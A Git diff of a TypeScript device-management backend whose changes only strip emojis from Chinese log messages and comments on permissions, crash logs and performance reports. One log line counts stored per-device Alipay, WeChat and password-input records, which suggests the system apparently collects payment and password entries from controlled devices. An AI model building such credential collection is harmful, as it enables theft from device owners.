this.logger.info(` 删除统计: 设备=${result.deviceRecords}, 状态=${result.stateRecords}, 日志=${result.logRecords}, 连接=${result.connectionRecords}, 支付宝=${result.alipayRecords}, 微信=${result.wechatRecords}, 通用密码=${result.passwordInputRecords}, 用户权限=${result.userPermissionRecords}`)
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error(`删除设备失败: ${deviceId}`, error)
|
||||
@@ -1991,12 +1991,12 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 授予用户设备控制权限
|
||||
* 授予用户设备控制权限
|
||||
*/
|
||||
grantUserDevicePermission(userId: string, deviceId: string, permissionType: string = 'control', expiresAt?: Date): boolean {
|
||||
try {
|
||||
const now = new Date()
|
||||
// 🛡️ 默认权限有效期为7天,平衡安全性和可用性
|
||||
// 默认权限有效期为7天,平衡安全性和可用性
|
||||
const defaultExpiresAt = expiresAt || new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000)
|
||||
|
||||
const stmt = this.db.prepare(`
|
||||
@@ -2016,7 +2016,7 @@ export class DatabaseService {
|
||||
now.toISOString()
|
||||
)
|
||||
|
||||
this.logger.info(`🔐 用户 ${userId} 获得设备 ${deviceId} 的 ${permissionType} 权限 (有效期至: ${defaultExpiresAt.toISOString()})`)
|
||||
this.logger.info(` 用户 ${userId} 获得设备 ${deviceId} 的 ${permissionType} 权限 (有效期至: ${defaultExpiresAt.toISOString()})`)
|
||||
return true
|
||||
} catch (error) {
|
||||
this.logger.error('授予用户设备权限失败:', error)
|
||||
@@ -2025,7 +2025,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 撤销用户设备权限
|
||||
* 撤销用户设备权限
|
||||
*/
|
||||
revokeUserDevicePermission(userId: string, deviceId: string): boolean {
|
||||
try {
|
||||
@@ -2038,10 +2038,10 @@ export class DatabaseService {
|
||||
const result = stmt.run(new Date().toISOString(), userId, deviceId)
|
||||
|
||||
if (result.changes > 0) {
|
||||
this.logger.info(`🔐 用户 ${userId} 的设备 ${deviceId} 权限已撤销`)
|
||||
this.logger.info(` 用户 ${userId} 的设备 ${deviceId} 权限已撤销`)
|
||||
return true
|
||||
} else {
|
||||
this.logger.warn(`🔐 用户 ${userId} 对设备 ${deviceId} 没有权限`)
|
||||
this.logger.warn(` 用户 ${userId} 对设备 ${deviceId} 没有权限`)
|
||||
return false
|
||||
}
|
||||
} catch (error) {
|
||||
@@ -2051,7 +2051,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 检查用户是否有设备权限
|
||||
* 检查用户是否有设备权限
|
||||
*/
|
||||
hasUserDevicePermission(userId: string, deviceId: string, permissionType: string = 'control'): boolean {
|
||||
try {
|
||||
@@ -2070,7 +2070,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 获取用户的所有设备权限
|
||||
* 获取用户的所有设备权限
|
||||
*/
|
||||
getUserDevicePermissions(userId: string): Array<{ deviceId: string, permissionType: string, grantedAt: Date }> {
|
||||
try {
|
||||
@@ -2099,7 +2099,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 清理过期的权限
|
||||
* 清理过期的权限
|
||||
*/
|
||||
cleanupExpiredPermissions(): number {
|
||||
try {
|
||||
@@ -2112,7 +2112,7 @@ export class DatabaseService {
|
||||
const result = stmt.run(new Date().toISOString(), new Date().toISOString())
|
||||
|
||||
if (result.changes > 0) {
|
||||
this.logger.info(`🧹 清理了 ${result.changes} 个过期权限`)
|
||||
this.logger.info(` 清理了 ${result.changes} 个过期权限`)
|
||||
}
|
||||
|
||||
return result.changes
|
||||
@@ -2122,10 +2122,10 @@ export class DatabaseService {
|
||||
}
|
||||
}
|
||||
|
||||
// ==================== 💥 崩溃日志相关 ====================
|
||||
// ==================== 崩溃日志相关 ====================
|
||||
|
||||
/**
|
||||
* 💥 保存崩溃日志
|
||||
* 保存崩溃日志
|
||||
*/
|
||||
saveCrashLog(data: {
|
||||
deviceId: string
|
||||
@@ -2153,7 +2153,7 @@ export class DatabaseService {
|
||||
data.osVersion || '',
|
||||
new Date().toISOString()
|
||||
)
|
||||
this.logger.info(`💥 崩溃日志已保存: ${data.deviceId} - ${data.fileName}`)
|
||||
this.logger.info(` 崩溃日志已保存: ${data.deviceId} - ${data.fileName}`)
|
||||
return true
|
||||
} catch (error) {
|
||||
this.logger.error('保存崩溃日志失败:', error)
|
||||
@@ -2162,7 +2162,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💥 获取设备的崩溃日志列表
|
||||
* 获取设备的崩溃日志列表
|
||||
*/
|
||||
getCrashLogs(deviceId: string, page: number = 1, pageSize: number = 20): {
|
||||
logs: any[]
|
||||
@@ -2196,7 +2196,7 @@ export class DatabaseService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 💥 获取崩溃日志详情(含内容)
|
||||
* 获取崩溃日志详情(含内容)
|
||||
*/
|
||||
getCrashLogDetail(logId: number): any | null {
|
||||
try {
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -129,7 +129,7 @@ export class OptimizationService {
|
||||
}
|
||||
|
||||
if (cleanedCount > 0) {
|
||||
this.logger.debug(`🧹 清理过期缓存: ${cleanedCount}条`)
|
||||
this.logger.debug(` 清理过期缓存: ${cleanedCount}条`)
|
||||
}
|
||||
}, 30000) // 每30秒检查一次
|
||||
}
|
||||
|
||||
@@ -256,11 +256,11 @@ export class PerformanceMonitorService {
|
||||
const sys = metrics.systemMetrics
|
||||
|
||||
this.logger.info(`
|
||||
📊 性能指标 (${new Date(metrics.timestamp).toLocaleTimeString()}):
|
||||
💾 内存: ${mem.heapUsed}MB / ${mem.heapTotal}MB (${mem.heapUsedPercent}%) | RSS: ${mem.rss}MB
|
||||
📨 消息: ${msg.messagesPerSecond}/s | 延迟: ${msg.averageLatency}ms (p95: ${msg.p95Latency}ms, p99: ${msg.p99Latency}ms) | 错误率: ${msg.errorRate}%
|
||||
🔌 连接: ${conn.totalConnections}个 (活跃: ${conn.activeConnections}, 空闲: ${conn.idleConnections}) | 新增: ${conn.newConnectionsPerMinute}/min
|
||||
⚙️ 系统: 运行时间 ${sys.uptime}s | CPU: ${sys.cpuUsage}% | 事件循环延迟: ${sys.eventLoopLag}ms
|
||||
性能指标 (${new Date(metrics.timestamp).toLocaleTimeString()}):
|
||||
内存: ${mem.heapUsed}MB / ${mem.heapTotal}MB (${mem.heapUsedPercent}%) | RSS: ${mem.rss}MB
|
||||
消息: ${msg.messagesPerSecond}/s | 延迟: ${msg.averageLatency}ms (p95: ${msg.p95Latency}ms, p99: ${msg.p99Latency}ms) | 错误率: ${msg.errorRate}%
|
||||
连接: ${conn.totalConnections}个 (活跃: ${conn.activeConnections}, 空闲: ${conn.idleConnections}) | 新增: ${conn.newConnectionsPerMinute}/min
|
||||
系统: 运行时间 ${sys.uptime}s | CPU: ${sys.cpuUsage}% | 事件循环延迟: ${sys.eventLoopLag}ms
|
||||
`)
|
||||
}
|
||||
|
||||
@@ -282,22 +282,22 @@ export class PerformanceMonitorService {
|
||||
|
||||
// 内存警告
|
||||
if (latest.memoryUsage.heapUsedPercent > 80) {
|
||||
warnings.push(`⚠️ 内存使用过高: ${latest.memoryUsage.heapUsedPercent}%`)
|
||||
warnings.push(` 内存使用过高: ${latest.memoryUsage.heapUsedPercent}%`)
|
||||
}
|
||||
|
||||
// 延迟警告
|
||||
if (latest.messageMetrics.p99Latency > 500) {
|
||||
warnings.push(`⚠️ 消息延迟过高: P99=${latest.messageMetrics.p99Latency}ms`)
|
||||
warnings.push(` 消息延迟过高: P99=${latest.messageMetrics.p99Latency}ms`)
|
||||
}
|
||||
|
||||
// 错误率警告
|
||||
if (latest.messageMetrics.errorRate > 5) {
|
||||
warnings.push(`⚠️ 错误率过高: ${latest.messageMetrics.errorRate}%`)
|
||||
warnings.push(` 错误率过高: ${latest.messageMetrics.errorRate}%`)
|
||||
}
|
||||
|
||||
// 事件循环延迟警告
|
||||
if (latest.systemMetrics.eventLoopLag > 100) {
|
||||
warnings.push(`⚠️ 事件循环延迟过高: ${latest.systemMetrics.eventLoopLag}ms`)
|
||||
warnings.push(` 事件循环延迟过高: ${latest.systemMetrics.eventLoopLag}ms`)
|
||||
}
|
||||
|
||||
return warnings
|
||||
@@ -312,7 +312,7 @@ export class PerformanceMonitorService {
|
||||
|
||||
if (!latest) return '暂无数据'
|
||||
|
||||
let report = '📈 性能报告\n'
|
||||
let report = ' 性能报告\n'
|
||||
report += '='.repeat(50) + '\n'
|
||||
report += `时间: ${new Date(latest.timestamp).toLocaleString()}\n`
|
||||
report += `内存: ${latest.memoryUsage.heapUsed}MB / ${latest.memoryUsage.heapTotal}MB\n`
|
||||
@@ -322,10 +322,10 @@ export class PerformanceMonitorService {
|
||||
report += `运行时间: ${latest.systemMetrics.uptime}s\n`
|
||||
|
||||
if (warnings.length > 0) {
|
||||
report += '\n⚠️ 警告:\n'
|
||||
report += '\n 警告:\n'
|
||||
warnings.forEach(w => report += ` ${w}\n`)
|
||||
} else {
|
||||
report += '\n✅ 系统运行正常\n'
|
||||
report += '\n 系统运行正常\n'
|
||||
}
|
||||
|
||||
return report
|
||||
|
||||
Reference in New Issue
Block a user